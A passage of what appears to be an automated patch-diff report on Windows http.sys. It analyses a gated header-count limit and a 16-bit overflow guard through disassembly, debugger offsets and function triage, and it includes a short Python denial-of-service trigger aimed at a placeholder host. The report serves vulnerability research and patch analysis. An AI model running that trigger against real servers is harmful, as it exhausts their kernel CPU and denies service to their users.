&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBCA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBCC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; *result&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBD0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000095h&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INTEGER_OVERFLOW on overflow, else 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001FBD5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Unpatched &lt;code&gt;UlpParseNextRequest&lt;/code&gt; grows the counter with an unchecked add at &lt;code&gt;0x1C000704E&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000704E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;640&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; wraps silently at 0xFFFF&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007056&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;648&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Feature-gate initialization — &lt;code&gt;UxStartEnvironmentModule @ 0x1C01767B0&lt;/code&gt; (patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0176898&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_4071067963__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C017689F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C01768AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;UxKirMaxHeadersCountLimit&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; gate for Finding #1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C017688A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_1643097402__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0176891&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;UxKirRefBufferOverflowCheck&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; gate for Finding #2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both gate bytes are new in the patched build; the unpatched build defines neither.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding #1 (header-pair count)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open a TCP connection to any port served by http.sys.&lt;/li&gt;
&lt;li&gt;Send a valid request line and &lt;code&gt;Host:&lt;/code&gt; header, followed by a large number of minimal headers (&lt;code&gt;Xi: a\r\n&lt;/code&gt;), staying within &lt;code&gt;MaxRequestBytes&lt;/code&gt; (default 16 KB; a higher configured value permits more headers).&lt;/li&gt;
&lt;li&gt;No authentication is required (pre-auth, anonymous).&lt;/li&gt;
&lt;li&gt;On the unpatched driver the header-pair loop processes every header pair (whitespace-classify + hash + &lt;code&gt;strncmp&lt;/code&gt;) in kernel context; pipelined/concurrent requests raise aggregate kernel-CPU cost.&lt;/li&gt;
&lt;li&gt;On a patched driver &lt;strong&gt;with the gate enabled&lt;/strong&gt;, a request whose header-pair count exceeds &lt;code&gt;MaxHeadersCount + 4&lt;/code&gt; is rejected (error code &lt;code&gt;0x29&lt;/code&gt;, status &lt;code&gt;0xC0000040&lt;/code&gt;) and a WPP trace message (id &lt;code&gt;0x5E&lt;/code&gt;) is emitted.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding #2 (16-bit buffer-growth counter)&lt;/h3&gt;
&lt;p&gt;Reaching the wrap requires driving the per-connection &lt;code&gt;UlRR&lt;/code&gt; array capacity counter (&lt;code&gt;conn+0x640&lt;/code&gt;) up toward &lt;code&gt;0xFFFF&lt;/code&gt; — on the order of ~13107 growth events accumulated on one connection. This is a high-effort path and is delivered feature-gated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Finding #1 primitive:&lt;/strong&gt; Remote, pre-authentication kernel-CPU consumption bounded by &lt;code&gt;MaxRequestBytes&lt;/code&gt;. Each byte of attacker input maps to a bounded amount of per-header kernel work (whitespace classification + hash + &lt;code&gt;strncmp&lt;/code&gt;). This is a resource-consumption / availability issue; the diff shows no memory-corruption primitive for this finding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding #2 primitive:&lt;/strong&gt; A 16-bit capacity counter that wraps under extreme, high-effort input volume could cause the recorded capacity to understate the real allocation, potentially leading to an out-of-bounds index write into the &lt;code&gt;UlRR&lt;/code&gt; array. The diff demonstrates only the arithmetic and its guard; it does not demonstrate a working corruption chain, and the required iteration count makes this hard to reach.&lt;/p&gt;
&lt;p&gt;No KASLR/info-leak, SMEP/SMAP/CFG/HVCI-bypass, pool-spray, or code-execution primitive is demonstrated by this diff. Any such escalation would require independent research beyond what these two builds show.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Relevance to these findings&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MaxRequestBytes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bounds Finding #1's per-request header count via the total byte budget.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Feature staging / KIR&lt;/td&gt;
&lt;td&gt;Both fixes are gated; effectiveness depends on the feature being enabled in the field.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KASLR / SMEP / CFG / HVCI&lt;/td&gt;
&lt;td&gt;Not relevant to the demonstrated availability / arithmetic issues.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Setup: kernel debugger attached; symbols matching the specific build. Function addresses differ between the two builds (the image is relocated), so resolve by symbol name.&lt;/p&gt;
&lt;h3&gt;Finding #1 — &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Break on &lt;code&gt;http!UlParseRequestHeaderPairs&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Register convention at entry (unpatched &lt;code&gt;@ 0x1C000F440&lt;/code&gt;): &lt;code&gt;rcx&lt;/code&gt; = request object (&lt;code&gt;[rcx+0x18]&lt;/code&gt; = connection state), &lt;code&gt;rdx&lt;/code&gt; = header-pair array descriptor (&lt;code&gt;*(rdx+8)&lt;/code&gt; = header-pair count), &lt;code&gt;r8&lt;/code&gt; = flags, &lt;code&gt;r9&lt;/code&gt; = status output byte.&lt;/li&gt;
&lt;li&gt;Watch &lt;code&gt;*(rdx+8)&lt;/code&gt; (the header-pair count) at entry — this is the value the patched gate compares against &lt;code&gt;MaxHeadersCount+4&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Key offsets:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;req+0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;connection-state pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;conn_state+0x3F8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;server-config pointer (patched gate reads &lt;code&gt;MaxHeadersCount&lt;/code&gt; from it)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cfg+0x1124&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MaxHeadersCount&lt;/code&gt; in patched; &lt;code&gt;MaxFieldLength&lt;/code&gt; in unpatched (&lt;code&gt;MaxFieldLength&lt;/code&gt; moves to &lt;code&gt;cfg+0x1128&lt;/code&gt; in patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxKirMaxHeadersCountLimit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;feature/KIR gate byte (patched only); must be non-zero for enforcement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Finding #2 — &lt;code&gt;UlpParseNextRequest&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;conn+0x640&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16-bit allocated capacity of the &lt;code&gt;UlRR&lt;/code&gt; array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;conn+0x642&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16-bit used count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;conn+0x648&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;array buffer pointer (8-byte entries)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;feature/KIR gate byte (patched only); when set, &lt;code&gt;RtlUShortAdd&lt;/code&gt; guards the capacity growth&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup (Finding #1, user-mode)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;socket&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;target.example.com&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;     &lt;span class="c1"&gt;# or 443/TLS, 5985 for WinRM&lt;/span&gt;
&lt;span class="n"&gt;NHEADERS&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;                          &lt;span class="c1"&gt;# bounded by MaxRequestBytes (default ~16 KB)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;Host: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;X&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;: a&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NHEADERS&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Tune &lt;code&gt;NHEADERS&lt;/code&gt; to the target's configured &lt;code&gt;MaxRequestBytes&lt;/code&gt;. On a patched target with the gate enabled the request is rejected once the header-pair count exceeds &lt;code&gt;MaxHeadersCount + 4&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Expected observations (Finding #1)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Unpatched&lt;/th&gt;
&lt;th&gt;Patched (gate enabled)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Header-pair count processed&lt;/td&gt;
&lt;td&gt;Up to the &lt;code&gt;MaxRequestBytes&lt;/code&gt;-bounded count&lt;/td&gt;
&lt;td&gt;Capped at &lt;code&gt;MaxHeadersCount+4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-request kernel-CPU work&lt;/td&gt;
&lt;td&gt;O(count) whitespace/hash/&lt;code&gt;strncmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bounded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP trace&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Message id &lt;code&gt;0x5E&lt;/code&gt; via &lt;code&gt;WPP_SF_qLd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@ 0x1C000F440&lt;/code&gt;, patched &lt;code&gt;@ 0x1C000FAA0&lt;/code&gt;) — similarity 0.753.
   Adds the feature/KIR-gated &lt;code&gt;MaxHeadersCount&lt;/code&gt; count gate at &lt;code&gt;0x1C000FB13&lt;/code&gt;–&lt;code&gt;0x1C000FB71&lt;/code&gt; (rejects when &lt;code&gt;header_pair_count &amp;gt; MaxHeadersCount + 4&lt;/code&gt;). The &lt;code&gt;cmp [rdi], ecx / jbe&lt;/code&gt; at &lt;code&gt;0x1C000FBAF&lt;/code&gt; is the loop-termination guard (present in both builds), and the host/cookie occurrence-counter saturation is present in both builds; neither is a new check. &lt;strong&gt;Finding #1.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UlpParseNextRequest&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@ 0x1C0006C30&lt;/code&gt;, both builds) — similarity 0.9747.
   Adds a feature/KIR-gated 16-bit integer-overflow guard: the unchecked &lt;code&gt;add word ptr [conn+0x640], 5&lt;/code&gt; is replaced (when &lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt; is set) with a checked &lt;code&gt;RtlUShortAdd&lt;/code&gt; that returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; and bails before reallocating. &lt;strong&gt;Finding #2.&lt;/strong&gt; (The remaining delta in this function is WPP trace-message-ID renumbering, e.g. &lt;code&gt;101→102&lt;/code&gt;, and stack-frame reshuffle — non-behavioral.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Fix-supporting (configuration / feature-gate wiring)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UxReadHttp11ParserSettings&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@ 0x1C0127168&lt;/code&gt;, patched &lt;code&gt;@ 0x1C0127178&lt;/code&gt;) — similarity 0.9165.
   Adds the gated read of the &lt;code&gt;MaxHeadersCount&lt;/code&gt; registry value via &lt;code&gt;UxReadBoundedULongSetting&lt;/code&gt; (default &lt;code&gt;max(MaxRequestBytes/512, 200)&lt;/code&gt;, range &lt;code&gt;[0x32, 0xFFFF]&lt;/code&gt;, stored at &lt;code&gt;cfg+0x1124&lt;/code&gt;). Also shifts &lt;code&gt;MaxFieldLength&lt;/code&gt; from &lt;code&gt;cfg+0x1124&lt;/code&gt; to &lt;code&gt;cfg+0x1128&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@ 0x1C01767B0&lt;/code&gt;, both builds) — similarity 0.9284.
   Initializes the two new gate bytes from WIL feature-staging: &lt;code&gt;UxKirMaxHeadersCountLimit&lt;/code&gt; from &lt;code&gt;Feature_4071067963__private_IsEnabledDeviceUsage&lt;/code&gt; and &lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt; from &lt;code&gt;Feature_1643097402__private_IsEnabledDeviceUsage&lt;/code&gt;. This is the feature-detection plumbing for Findings #1 and #2, not cosmetic.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Non-behavioral churn (not security-relevant)&lt;/h3&gt;
&lt;p&gt;Beyond the four functions above, many functions differ only in WPP software-trace message-ID renumbering (the newly inserted header-count trace message shifts subsequent IDs, and one trace provider GUID was reorganized), in the &lt;code&gt;MaxHeadersCount&lt;/code&gt; struct-offset ripple, or in ordinary recompilation register/variable reallocation. Spot-checked examples confirmed as churn: &lt;code&gt;UlHttpIngressDisconnectEvent&lt;/code&gt; (trace GUID/id renumber), &lt;code&gt;UlpCacheMdlReadCompleteWorker&lt;/code&gt; (variable reallocation), &lt;code&gt;UxStartEnvironmentFacet&lt;/code&gt; (reordered, pre-existing HTTP/2 config reads with &lt;code&gt;+8&lt;/code&gt; offset shift). New leaf helpers &lt;code&gt;RtlUShortAdd&lt;/code&gt;, &lt;code&gt;Feature_4071067963__*&lt;/code&gt;, and &lt;code&gt;Feature_1643097402__*&lt;/code&gt; are the only genuinely added functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Removed&lt;/th&gt;
&lt;th&gt;Added&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RtlUShortAdd&lt;/code&gt;, &lt;code&gt;Feature_4071067963__private_IsEnabled{DeviceUsage,Fallback}&lt;/code&gt;, &lt;code&gt;Feature_1643097402__private_IsEnabled{DeviceUsage,Fallback}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;No functions were removed. The added items are the overflow-guard helper and the WIL feature-staging stubs for the two gates.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High for the mechanism; Medium/Low for real-world impact.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Both changes are directly visible in the disassembly: a &lt;code&gt;MaxHeadersCount&lt;/code&gt; count gate and a &lt;code&gt;RtlUShortAdd&lt;/code&gt; overflow guard, each behind a WIL/KIR feature byte, with the old path retained in the else branch.&lt;/li&gt;
&lt;li&gt;The call chain for Finding #1 (network receive → &lt;code&gt;UlHttpReceiveHeadersEvent @ 0x1C0006050&lt;/code&gt; → &lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt;) is confirmed in both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Things to verify before relying on either fix or publishing any PoC:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Feature-gate state.&lt;/strong&gt; &lt;code&gt;UxKirMaxHeadersCountLimit&lt;/code&gt; and &lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt; are set from WIL feature-staging (&lt;code&gt;Feature_4071067963&lt;/code&gt;, &lt;code&gt;Feature_1643097402&lt;/code&gt;). Whether either fix is active on a given install depends on the feature rollout state, not on the presence of the code alone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MaxRequestBytes&lt;/code&gt; on the target&lt;/strong&gt; determines both the pre-patch header-count ceiling and the default &lt;code&gt;MaxHeadersCount&lt;/code&gt; (&lt;code&gt;max(MaxRequestBytes/512, 200)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding #2 reachability&lt;/strong&gt; is high-effort (~13107 growth events on one connection); no working corruption chain is demonstrated by the diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No DoS-to-RCE escalation&lt;/strong&gt; is shown by these two builds; treat Finding #1 as an availability issue and Finding #2 as an arithmetic-hardening change unless independent analysis proves more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Struct-offset and WPP-ID churn&lt;/strong&gt; ripple through many functions; do not read those as additional behavioral fixes.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>hvsocket.sys — Feature-gated missing spinlock synchronization in VmbusTl loopback delivery queue (CWE-362/CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvsocket_2f28a6c9-hvsocket-report-20260629-003312.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hvsocket_2f28a6c9-hvsocket-report-20260629-003312.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hvsocket_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9745&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
